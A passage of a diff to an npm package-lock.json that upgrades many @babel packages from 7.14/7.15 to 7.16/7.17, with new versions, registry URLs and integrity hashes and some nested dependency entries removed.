"sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/generator": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.17.3", + "@babel/types": "^7.17.0" } }, "@babel/highlight": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.9.0.tgz", - "integrity": "sha512-lJZPilxX7Op3Nv/2cvFdnlepPXDxi29wxteT57Q965oc5R9v86ztx0jfxVrTcBk8C2kcPkkDa2Z4T3ZsPPVWsQ==", + "version": "7.16.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.16.10.tgz", + "integrity": "sha512-5FnTQLSLswEj6IkgVw5KusNUUFY9ZGqe/TRFnP/BKYHYgfh7tc+C7mwiy95/yNP7Dh9x580Vv8r7u7ZfTBFxdw==", "requires": { - "@babel/helper-validator-identifier": "^7.9.0", + "@babel/helper-validator-identifier": "^7.16.7", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.9.6.tgz", - "integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.17.8.tgz", + "integrity": "sha512-BoHhDJrJXqcg+ZL16Xv39H9n+AqJ4pcDrQBGZN+wHxIysrLZ3/ECwCBUch/1zUNhnsXULcONU3Ei5Hmkfk6kiQ==", "dev": true }, - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.15.4.tgz", - "integrity": "sha512-eBnpsl9tlhPhpI10kU06JHnrYXwg3+V6CaP2idsCXNef0aeslpqyITXQ74Vfk5uHgY7IG7XP0yIH8b42KSzHog==", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.16.7.tgz", + "integrity": "sha512-anv/DObl7waiGEnC24O9zqL0pSuI9hljihqiDuFHC8d7/bjr/4RLGPWuc8rYOff/QPzbEPSkzG8wGG9aDuhHRg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.15.4", - "@babel/plugin-proposal-optional-chaining": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" + } + }, + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.16.7.tgz", + "integrity": "sha512-di8vUHRdf+4aJ7ltXhaDbPoszdkh59AQtJM5soLsuHpQJdFQZOA4uGj0V2u/CZ8bJ/u8ULDL5yq6FO/bCXnKHw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.7" } }, "@babel/plugin-proposal-async-generator-functions": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.15.8.tgz", - "integrity": "sha512-2Z5F2R2ibINTc63mY7FLqGfEbmofrHU9FitJW1Q7aPaKFhiPvSq6QEt/BoWN5oME3GVyjcRuNNSRbb9LC0CSWA==", + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.16.8.tgz", + "integrity": "sha512-71YHIvMuiuqWJQkebWJtdhQTfd4Q4mF76q2IX37uZPkG9+olBxsX+rH1vkhFto4UeJZ9dPY2s+mDvhDm1u2BGQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-remap-async-to-generator": "^7.15.4", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-remap-async-to-generator": "^7.16.8", "@babel/plugin-syntax-async-generators": "^7.8.4" } }, "@babel/plugin-proposal-class-properties": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.14.5.tgz", - "integrity": "sha512-q/PLpv5Ko4dVc1LYMpCY7RVAAO4uk55qPwrIuJ5QJ8c6cVuAmhu7I/49JOppXL6gXf7ZHzpRVEUZdYoPLM04Gg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.16.7.tgz", + "integrity": "sha512-IobU0Xme31ewjYOShSIqd/ZGM/r/cuOz2z0MDbNrhF5FW+ZVgi0f2lyeoj9KFPDOAqsYxmLWZte1WOwlvY9aww==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-create-class-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-proposal-class-static-block": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.15.4.tgz", - "integrity": "sha512-M682XWrrLNk3chXCjoPUQWOyYsB93B9z3mRyjtqqYJWDf2mfCdIYgDrA11cgNVhAQieaq6F2fn2f3wI0U4aTjA==", + "version": "7.17.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.17.6.tgz", + "integrity": "sha512-X/tididvL2zbs7jZCeeRJ8167U/+Ac135AM6jCAx6gYXDUviZV5Ku9UDvWS2NCuWlFjIRXklYhwo6HhAC7ETnA==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-create-class-features-plugin": "^7.17.6", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-class-static-block": "^7.14.5" } }, "@babel/plugin-proposal-dynamic-import": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.14.5.tgz", - "integrity": "sha512-ExjiNYc3HDN5PXJx+bwC50GIx/KKanX2HiggnIUAYedbARdImiCU4RhhHfdf0Kd7JNXGpsBBBCOm+bBVy3Gb0g==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.16.7.tgz", + "integrity": "sha512-I8SW9Ho3/8DRSdmDdH3gORdyUuYnk1m4cMxUAdu5oy4n3OfN8flDEH+d60iG7dUfi0KkYwSvoalHzzdRzpWHTg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-dynamic-import": "^7.8.3" } }, "@babel/plugin-proposal-export-namespace-from": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.14.5.tgz", - "integrity": "sha512-g5POA32bXPMmSBu5Dx/iZGLGnKmKPc5AiY7qfZgurzrCYgIztDlHFbznSNCoQuv57YQLnQfaDi7dxCtLDIdXdA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.16.7.tgz", + "integrity": "sha512-ZxdtqDXLRGBL64ocZcs7ovt71L3jhC1RGSyR996svrCi3PYqHNkb3SwPJCs8RIzD86s+WPpt2S73+EHCGO+NUA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-export-namespace-from": "^7.8.3" } }, "@babel/plugin-proposal-json-strings": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.14.5.tgz", - "integrity": "sha512-NSq2fczJYKVRIsUJyNxrVUMhB27zb7N7pOFGQOhBKJrChbGcgEAqyZrmZswkPk18VMurEeJAaICbfm57vUeTbQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.16.7.tgz", + "integrity": "sha512-lNZ3EEggsGY78JavgbHsK9u5P3pQaW7k4axlgFLYkMd7UBsiNahCITShLjNQschPyjtO6dADrL24757IdhBrsQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-json-strings": "^7.8.3" } }, "@babel/plugin-proposal-logical-assignment-operators": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.14.5.tgz", - "integrity": "sha512-YGn2AvZAo9TwyhlLvCCWxD90Xq8xJ4aSgaX3G5D/8DW94L8aaT+dS5cSP+Z06+rCJERGSr9GxMBZ601xoc2taw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.16.7.tgz", + "integrity": "sha512-K3XzyZJGQCr00+EtYtrDjmwX7o7PLK6U9bi1nCwkQioRFVUv6dJoxbQjtWVtP+bCPy82bONBKG8NPyQ4+i6yjg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" } }, "@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.14.5.tgz", - "integrity": "sha512-gun/SOnMqjSb98Nkaq2rTKMwervfdAoz6NphdY0vTfuzMfryj+tDGb2n6UkDKwez+Y8PZDhE3D143v6Gepp4Hg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.16.7.tgz", + "integrity": "sha512-aUOrYU3EVtjf62jQrCj63pYZ7k6vns2h/DQvHPWGmsJRYzWXZ6/AsfgpiRy6XiuIDADhJzP2Q9MwSMKauBQ+UQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" } }, "@babel/plugin-proposal-numeric-separator": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.14.5.tgz", - "integrity": "sha512-yiclALKe0vyZRZE0pS6RXgjUOt87GWv6FYa5zqj15PvhOGFO69R5DusPlgK/1K5dVnCtegTiWu9UaBSrLLJJBg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.16.7.tgz", + "integrity": "sha512-vQgPMknOIgiuVqbokToyXbkY/OmmjAzr/0lhSIbG/KmnzXPGwW/AdhdKpi+O4X/VkWiWjnkKOBiqJrTaC98VKw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-numeric-separator": "^7.10.4" } }, "@babel/plugin-proposal-object-rest-spread": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.15.6.tgz", - "integrity": "sha512-qtOHo7A1Vt+O23qEAX+GdBpqaIuD3i9VRrWgCJeq7WO6H2d14EK3q11urj5Te2MAeK97nMiIdRpwd/ST4JFbNg==", + "version": "7.17.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.17.3.tgz", + "integrity": "sha512-yuL5iQA/TbZn+RGAfxQXfi7CNLmKi1f8zInn4IgobuCWcAb7i+zj4TYzQ9l8cEzVyJ89PDGuqxK1xZpUDISesw==", "dev": true, "requires": { - "@babel/compat-data": "^7.15.0", - "@babel/helper-compilation-targets": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/compat-data": "^7.17.0", + "@babel/helper-compilation-targets": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.15.4" + "@babel/plugin-transform-parameters": "^7.16.7" } }, "@babel/plugin-proposal-optional-catch-binding": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.14.5.tgz", - "integrity": "sha512-3Oyiixm0ur7bzO5ybNcZFlmVsygSIQgdOa7cTfOYCMY+wEPAYhZAJxi3mixKFCTCKUhQXuCTtQ1MzrpL3WT8ZQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.16.7.tgz", + "integrity": "sha512-eMOH/L4OvWSZAE1VkHbr1vckLG1WUcHGJSLqqQwl2GaUqG6QjddvrOaTUMNYiv77H5IKPMZ9U9P7EaHwvAShfA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" } }, "@babel/plugin-proposal-optional-chaining": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.14.5.tgz", - "integrity": "sha512-ycz+VOzo2UbWNI1rQXxIuMOzrDdHGrI23fRiz/Si2R4kv2XZQ1BK8ccdHwehMKBlcH/joGW/tzrUmo67gbJHlQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.16.7.tgz", + "integrity": "sha512-eC3xy+ZrUcBtP7x+sq62Q/HYd674pPTb/77XZMb5wbDPGWIdUbSr4Agr052+zaUPSb+gGRnjxXfKFvx5iMJ+DA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.14.5", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.16.0", "@babel/plugin-syntax-optional-chaining": "^7.8.3" } }, "@babel/plugin-proposal-private-methods": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.14.5.tgz", - "integrity": "sha512-838DkdUA1u+QTCplatfq4B7+1lnDa/+QMI89x5WZHBcnNv+47N8QEj2k9I2MUU9xIv8XJ4XvPCviM/Dj7Uwt9g==", + "version": "7.16.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.16.11.tgz", + "integrity": "sha512-F/2uAkPlXDr8+BHpZvo19w3hLFKge+k75XUprE6jaqKxjGkSYcK+4c+bup5PdW/7W/Rpjwql7FTVEDW+fRAQsw==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-create-class-features-plugin": "^7.16.10", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-proposal-private-property-in-object": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.15.4.tgz", - "integrity": "sha512-X0UTixkLf0PCCffxgu5/1RQyGGbgZuKoI+vXP4iSbJSYwPb7hu06omsFGBvQ9lJEvwgrxHdS8B5nbfcd8GyUNA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.16.7.tgz", + "integrity": "sha512-rMQkjcOFbm+ufe3bTZLyOfsOUOxyvLXZJCTARhJr+8UMSoZmqTe1K1BgkFcrW37rAchWg57yI69ORxiWvUINuQ==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.15.4", - "@babel/helper-create-class-features-plugin": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-create-class-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", "@babel/plugin-syntax-private-property-in-object": "^7.14.5" } }, "@babel/plugin-proposal-unicode-property-regex": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.14.5.tgz", - "integrity": "sha512-6axIeOU5LnY471KenAB9vI8I5j7NQ2d652hIYwVyRfgaZT5UpiqFKCuVXCDMSrU+3VFafnu2c5m3lrWIlr6A5Q==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.16.7.tgz", + "integrity": "sha512-QRK0YI/40VLhNVGIjRNAAQkEHws0cswSdFFjpFyt943YmJIU1da9uW63Iu6NFV6CxTZW5eTDCrwZUstBWgp/Rg==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-create-regexp-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-syntax-async-generators": { @@ -1532,12 +17149,12 @@ } }, "@babel/plugin-syntax-jsx": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.14.5.tgz", - "integrity": "sha512-ohuFIsOMXJnbOMRfX7/w7LocdR6R7whhuRD4ax8IipLcLPlZGJKkBxgHp++U4N/vKyU16/YDQr2f5seajD3jIw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.16.7.tgz", + "integrity": "sha512-Esxmk7YjA8QysKeT3VhTXvF6y77f/a91SIs4pWb4H2eWGQkCKFgQaG6hdoEVZtGsrAcb2K5BW66XsOErD4WU3Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-syntax-logical-assignment-operators": { @@ -1613,652 +17230,401 @@ } }, "@babel/plugin-transform-arrow-functions": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.14.5.tgz", - "integrity": "sha512-KOnO0l4+tD5IfOdi4x8C1XmEIRWUjNRV8wc6K2vz/3e8yAOoZZvsRXRRIF/yo/MAOFb4QjtAw9xSxMXbSMRy8A==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.16.7.tgz", + "integrity": "sha512-9ffkFFMbvzTvv+7dTp/66xvZAWASuPD5Tl9LK3Z9vhOmANo6j94rik+5YMBt4CwHVMWLWpMsriIc2zsa3WW3xQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-async-to-generator": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.14.5.tgz", - "integrity": "sha512-szkbzQ0mNk0rpu76fzDdqSyPu0MuvpXgC+6rz5rpMb5OIRxdmHfQxrktL8CYolL2d8luMCZTR0DpIMIdL27IjA==", + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.16.8.tgz", + "integrity": "sha512-MtmUmTJQHCnyJVrScNzNlofQJ3dLFuobYn3mwOTKHnSCMtbNsqvF71GQmJfFjdrXSsAA7iysFmYWw4bXZ20hOg==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-remap-async-to-generator": "^7.14.5" - }, - "dependencies": { - "@babel/helper-module-imports": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", - "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-remap-async-to-generator": "^7.16.8" } }, "@babel/plugin-transform-block-scoped-functions": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.14.5.tgz", - "integrity": "sha512-dtqWqdWZ5NqBX3KzsVCWfQI3A53Ft5pWFCT2eCVUftWZgjc5DpDponbIF1+c+7cSGk2wN0YK7HGL/ezfRbpKBQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.16.7.tgz", + "integrity": "sha512-JUuzlzmF40Z9cXyytcbZEZKckgrQzChbQJw/5PuEHYeqzCsvebDx0K0jWnIIVcmmDOAVctCgnYs0pMcrYj2zJg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-block-scoping": { - "version": "7.15.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.15.3.tgz", - "integrity": "sha512-nBAzfZwZb4DkaGtOes1Up1nOAp9TDRRFw4XBzBBSG9QK7KVFmYzgj9o9sbPv7TX5ofL4Auq4wZnxCoPnI/lz2Q==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.16.7.tgz", + "integrity": "sha512-ObZev2nxVAYA4bhyusELdo9hb3H+A56bxH3FZMbEImZFiEDYVHXQSJ1hQKFlDnlt8G9bBrCZ5ZpURZUrV4G5qQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-classes": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.15.4.tgz", - "integrity": "sha512-Yjvhex8GzBmmPQUvpXRPWQ9WnxXgAFuZSrqOK/eJlOGIXwvv8H3UEdUigl1gb/bnjTrln+e8bkZUYCBt/xYlBg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.16.7.tgz", + "integrity": "sha512-WY7og38SFAGYRe64BrjKf8OrE6ulEHtr5jEYaZMwox9KebgqPi67Zqz8K53EKk1fFEJgm96r32rkKZ3qA2nCWQ==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-optimise-call-expression": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-replace-supers": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-optimise-call-expression": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-replace-supers": "^7.16.7", + "@babel/helper-split-export-declaration": "^7.16.7", "globals": "^11.1.0" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } } }, 